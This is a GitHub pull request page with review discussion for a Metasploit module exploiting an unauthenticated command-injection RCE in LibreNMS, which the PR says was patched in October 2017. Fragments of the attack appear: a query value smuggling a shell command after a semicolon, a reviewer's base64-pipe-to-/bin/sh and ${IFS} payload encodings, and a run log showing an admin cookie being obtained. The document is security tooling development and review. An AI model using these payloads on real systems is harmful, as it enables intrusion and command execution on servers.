Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add a LibreNMS RCE #9213

Closed
wants to merge 7 commits into from

Conversation

Projects
None yet
6 participants
@jvoisin
Copy link
Contributor

jvoisin commented Nov 16, 2017

This module exploits an unauthenticated RCE in LibreNMS that we found months ago. We reported it the 18th of October 2017, and it was fixed the same day, so you might want to get a version of LibreNMS older than that to test this module.

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • use multi/http/librenms_rce
  • set cmd id
  • Set RHOST, RPORT
  • set payload cmd/unix/generic
  • run
  • Verify that your get the admin cookie
  • Verify the that your get your command's output

jvoisin added some commits Nov 16, 2017

@wwebb-r7

This comment has been minimized.

Copy link
Contributor

wwebb-r7 commented Nov 16, 2017

The disclosure date format is causing the build failure. As far as the tabbed indent warnings, they should be ok, but I'll let someone else weigh in. High five for including docs the first time around.

@wvu-r7

This comment has been minimized.

Copy link
Contributor

wvu-r7 commented Nov 16, 2017

That disclosure date is, like, objectively better. We should totally allow it.

@busterb

This comment has been minimized.

Copy link
Contributor

busterb commented Nov 16, 2017

I'm a fan.

@wwebb-r7

This comment has been minimized.

Copy link
Contributor

wwebb-r7 commented Nov 16, 2017

Also in favor as I always, always fail this check myself

@jvoisin

This comment has been minimized.

Copy link
Contributor Author

jvoisin commented Nov 20, 2017

Shall I fix the date, or wait until it's allowed?

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Nov 20, 2017

@jvoisin please fix the date.

A change from the Metasploit date format to the vastly superior international date format is not going to happen any time soon. Should you choose to wait, you might be waiting a while.

jvoisin
@bcoles
Copy link
Contributor

bcoles left a comment

Please use spaces instead of tabs for indentation.

3. Do: `use exploit/multi/http/librenms_rce`
4. Do: `set rport port`
5. Do: `set rhost ip`
5. Do: `set cmd id`

This comment has been minimized.

Copy link
@bcoles

bcoles Nov 20, 2017

Contributor

6

4. Do: `set rport port`
5. Do: `set rhost ip`
5. Do: `set cmd id`
6. Do: `exploit`

This comment has been minimized.

Copy link
@bcoles

bcoles Nov 20, 2017

Contributor

7

'DisableNops' => true,
'BadChars' => "\x20&#",
},
'References' => [ ],

This comment has been minimized.

Copy link
@bcoles

bcoles Nov 20, 2017

Contributor

The References array can be used to mention the PR patch URL https://github.com/librenms/librenms/pull/7511 and any other relevant URLs.

'vars_get' => {
'cmd' => 'nmap',
'debug' => 1,
'query' => 'http://lol;' + custom_payload

This comment has been minimized.

Copy link
@bcoles

bcoles Nov 20, 2017

Contributor

Consider randomizing the query URL with Rex::Text.rand_text_alpha


TARGETURI by default is `/`, which is the common path for LibreNMS.

## Demonstration

This comment has been minimized.

Copy link
@bcoles

bcoles Nov 26, 2017

Contributor

Can you provide example output of running this with a regular bind/reverse shell payload?

Although the CMD exploitation, and subsequent returning of the command results is cute, I suspect users will generally want to aim and fire a full-auto bind/reverse payload.

This comment has been minimized.

Copy link
@jvoisin

jvoisin Nov 27, 2017

Author Contributor

It fails with something else than a CMD, I didn't managed to understand why :/

This comment has been minimized.

Copy link
@bcoles

bcoles Nov 28, 2017

Contributor

Uh that's not good. The module should leverage existing metasploit payloads where possible. The raw CMD payloads are usually reserved for restricted environments such as embedded devices where gaining a shell is tricky, or as a nice-to-have addition to the regular payloads for execution of custom commands.

In this case, it's most likely due to a bad character, and based on your usage of ${IFS} I would assume that whitespace is to blame.

To get around this, you could try specifying \x20 as a bad character in BadChars and see if the payloads can automagically choose an appropriate encoder.

If the CMD payloads can't encode the payload, you could try encoding it yourself. Here's a couple of options:

# Base64 encode the payload and pipe to /bin/sh
# - Note that this requires the base64 binary on the target host
# - Note that `base64 -d` is used, which only works on real operating systems. It won't work on Mac which uses `base64 --decode` or `base64 -D` or something else equally stupid.
custom_payload = "echo${IFS}#{Base64.strict_encode64(payload.encoded)}|base64${IFS}-d|/bin/sh"
# ...
'query' => 'http://' + Rex::Text.rand_text_alpha(4, 8) + ';' + custom_payload
# Replace all whitespace with ${IFS}
custom_payload = payload.encoded.to_s.gsub(/\s+/, "${IFS}")
# ...
'query' => 'http://' + Rex::Text.rand_text_alpha(4, 8) + ';' + custom_payload
'DisableNops' => true,
'BadChars' => "\x20&#",
},
'References' => [ 'https://github.com/librenms/librenms/commit/1205f12f10a87f50a9a9127ab3caea861bff91b9'],

This comment has been minimized.

Copy link
@bcoles

bcoles Nov 26, 2017

Contributor

References needs to be a two dimensional array:

'References'     => [
  [ 'URL', 'https://github.com/librenms/librenms/commit/1205f12f10a87f50a9a9127ab3caea861bff91b' ],
],
end
end

end

This comment has been minimized.

Copy link
@bcoles

bcoles Nov 26, 2017

Contributor

Is it possible to write a check method?

I haven't reviewed the bug yet. Off the top of my head, here's some things you could check for:

  • Is the install.php file left after installation? Does it exist? (return Detected)
  • If the install.php file exists, can you infer if the software is vulnerable based only on a version number? (return Detected or Appears); or
  • Can you check if the auth bypass is possible? Do you get an admin cookie? (return Vulnerable)
'References' => [ 'https://github.com/librenms/librenms/commit/1205f12f10a87f50a9a9127ab3caea861bff91b9'],
'References' => [
[ 'https://github.com/librenms/librenms/commit/1205f12f10a87f50a9a9127ab3caea861bff91b9']
]

This comment has been minimized.

Copy link
@bcoles

bcoles Nov 28, 2017

Contributor

Missing a , - causing the build to fail

jvoisin
@@ -33,7 +33,7 @@ def initialize(info = {})
'BadChars' => "\x20&#",
},
'References' => [
[ 'https://github.com/librenms/librenms/commit/1205f12f10a87f50a9a9127ab3caea861bff91b9']
[ 'https://github.com/librenms/librenms/commit/1205f12f10a87f50a9a9127ab3caea861bff91b9'],

This comment has been minimized.

Copy link
@bcoles

bcoles Nov 28, 2017

Contributor

Nooo the , is in the wrong spot. That just made the CI angrier!

@wvu-r7 wvu-r7 changed the title Add a librenms rce Add a LibreNMS RCE Nov 28, 2017

@wchen-r7 wchen-r7 self-assigned this Jan 16, 2018

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Jan 16, 2018

@jvoisin I am actually not able to get this module to work.

Here is my output:

msf exploit(librenms_rce) > run

[*] Started reverse TCP double handler on 172.16.249.1:4444 
[*] Getting admin cookie...
[*] Got admin cookie: PHPSESSID=cok15jo776fu16j4qeti69ohq6;
[*] Exploit completed, but no session was created.
msf exploit(librenms_rce) > 

In addition, the response of the last netcmd request was "unauthenticated", which comes from this auth check in netcmd.php:

if (!$_SESSION['authenticated']) {
    echo 'unauthenticated';
    exit;
}

That means the session injection didn't work. So I looked at install.php (where your reported vuln was):

session_start();
if (empty($_POST) && !empty($_SESSION) && !isset($_REQUEST['stage'])) {
    $_POST = $_SESSION;
} elseif (!file_exists("../config.php")) {
    $_SESSION = array_replace($_SESSION, $_POST);
}

To inject $_SESSION with $_POST, it looks like I need to remove config.php... but that means the application is in the pre-installation state. Doesn't sound right because that's not mentioned in the module description or documentation.

BTW I am on this commit:

commit 6e379bfbbdd537370f4d475a840525db4cf7e802
Author: Martin Zatloukal <slezi2.pvfree@gmail.com>
Date:   Tue Oct 17 09:57:31 2017 +0200

    newdevice: Added support for Alcoma wireless devices (#7476)
    
    * New os Alcoma
    
    * New os Alcoma
    
    * Update AlcomaAlmp.php

@jvoisin Could you please elaborate on how you set up your vulnerable environment? Thanks!

@wchen-r7 wchen-r7 removed their assignment Jan 16, 2018

@jvoisin

This comment has been minimized.

Copy link
Contributor Author

jvoisin commented Jan 26, 2018

I don't have currently the time to setup a complete environment to debug this :/
I'll re-open this if/when I do, sorry.

@jvoisin jvoisin closed this Jan 26, 2018

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.